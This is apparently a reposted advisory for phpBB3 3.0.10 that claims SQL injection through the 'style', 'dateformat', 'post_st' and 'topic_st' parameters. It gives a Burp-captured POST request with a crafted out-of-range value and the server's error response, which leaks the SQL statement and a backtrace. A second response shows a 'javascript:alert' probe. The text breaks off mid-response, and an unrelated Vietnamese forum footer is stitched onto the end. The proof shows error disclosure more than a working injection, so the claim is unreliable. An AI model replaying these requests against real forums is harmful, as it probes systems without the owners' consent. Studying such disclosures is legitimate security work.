------------------------------------------------------------------
Name : phpBB3 SQL Injection
------------------------------------------------------------------
Version : 3.0.10
------------------------------------------------------------------
1) What is it?This is very nice
forum board. You should try it!
------------------------------------------------------------------
2) Type of bug?SQL Injection 0.
------------------------------------------------------------------
3) Where is the bug?Vulnerable parameter seems to be 'style' because if we set
up this parameter
to 'bigger number' (for example: 111111111) we will get an error, with full SQL
statement.
*updated - dateformat is the second vulnerable parameter!
*updated - post_st is the 3rd vulnerable parameter!
*updated - another one: topic_st
4) PoC traffic from Burp:
4.1) Request :---
POST /kuba/phpBB/phpBB3/ucp.php?i=prefs&mode=personal HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:14.0) Gecko/20100101 Firefox/14.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Proxy-Connection: keep-alive
Referer:
http://localhost/kub...3/ucp.php?i=174Cookie: style_cookie=null; phpbb3_t4h3b_u=2; phpbb3_t4h3b_k
phpbb3_t4h3b_sid=
Content-Type: application/x-www-form-urlencoded
Content-Length: 258
Connection: close
viewemail=1
&massemail=1
&allowpm=1
&hideonline=0
¬ifypm=1
&popuppm=0
&lang=en
&style=%2b1111111111
&tz=0
&dst=0
&dateoptions=D+M+d%2C+Y+g%3Ai+a
&dateformat=D+M+d%2C+Y+g%3Ai+a
&submit=Submit
&creation_time=1343370877
&form_token=576...
---
4.2) Response:
---
HTTP/1.1 503 Service Unavailable
Date: Fri, 27 Jul 2012 06:39:06 GMT
Server: Apache/2.2.22 (Ubuntu)
X-Powered-By: PHP/5.3.10-1ubuntu3.2
Vary: Accept-Encoding
Connection: close
Content-Type: text/html
Content-Length: 2889
<!DOCTYPE html PUBLIC "(...)
<a href="./">Return to the index page</a> </div> <div id="acp"> <div class="panel">
<div id="content">
<h1>General Error</h1>
<div>SQL ERROR [ mysqli "><br /><br />Out of range value for column 'user_style' at row 1 [1264"><br />
<br />SQL<br /><br />UPDATE phpbb_users
SET user_allow_pm = 1, user_allow_viewemail = 1, user_allow_massemail = 1, user_allow_viewonline = 1,
user_notify_type = '0', user_notify_pm = 1, user_options = '230271', user_dst = 0,
user_dateformat = 'D M d, Y g:i a', user_lang = 'en', user_timezone = 0, user_style = 1111111111
WHERE user_id = 2<br />
<br />BACKTRACE<br /><div style="font-family: monospace;"><br />
<b>FILE:</b> [ROOT">/includes/db/mysqli.php<br />
<b>LINE:</b> 182<br />
<b>CALL:</b> dbal->sql_error0<br /><br />
<b>FILE:</b> [ROOT">/includes/functions_module.php<br />
<b>LINE:</b> 507<br />
<b>CALL:</b> ucp_prefs->main0<br />
</div><br /></div>
<p>Please notify the board administrator or webmaster: (...)
---
4.2 Other response (this time from post_st parameter):
---
</style></head><body id="errorpage"><div id="wrap">
<div id="page-header">
<a href="./">Return to the index page</a>
</div> <div id="acp"> <div class="panel">
<div id="content">
<h1>General Error</h1>
<div>SQL ERROR [ mysqli "><br /><br />
Incorrect integer value: 'javascript:alert(123123);/' for
Hội Tam Hoàng không đình đám, không nhạt nhòa, lặng thầm vương xa
05:44
16/05/24
Pháp Danh: Quảng Tuệ
phpBB v3.0.10 SQL Injecrability
Admin
(Tamhoangdk)
[ON]
- 
- 
- 
- 
- 
Free Downloads Sites!
Chia sẻ:
